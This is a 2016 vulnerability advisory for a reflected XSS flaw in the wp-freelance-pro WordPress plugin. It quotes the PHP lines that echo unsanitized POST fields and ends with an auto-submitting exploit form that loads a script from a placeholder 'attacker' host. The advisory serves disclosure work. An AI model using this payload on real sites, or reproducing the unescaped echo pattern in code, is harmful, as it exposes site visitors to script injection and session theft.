Advisory #: 1162
Title: Reflected XSS in wordpress plugin wp-freelance-pro v0.8
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-freelance-pro
Downloads: 2606
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-freelance-pro
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-freelance-pro/menus/wp-freelance/frontforms/seconds.php: 20: <input type='text' required name='first-name' value='<?php echo $_POST['first-name']; ?>' placeholder="<?php _e( 'first name' , 'wpfrl' ); ?>" id='first-name'> 21: <input type='text' required name='last-name' value='<?php echo $_POST['last-name']; ?>' placeholder="<?php _e( 'last name' , 'wpfrl' ); ?>" id='last-name'> 22: <input type='email' required name='email' value='<?php echo $_POST['email']; ?>' placeholder="<?php _e( 'email address' , 'wpfrl' ); ?>" id='email'> 23: <input type='text' required name='zip' value='<?php echo $_POST['zip']; ?>' placeholder="<?php _e( 'zipcode' , 'wpfrl' ); ?>" id='zip'> The variable first-name appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-freelance-pro/menus/wp-freelance/frontforms/seconds.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/wp-freelance-pro/menus/wp-freelance/frontforms/seconds.php method=post> <input type=hidden name=first-name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>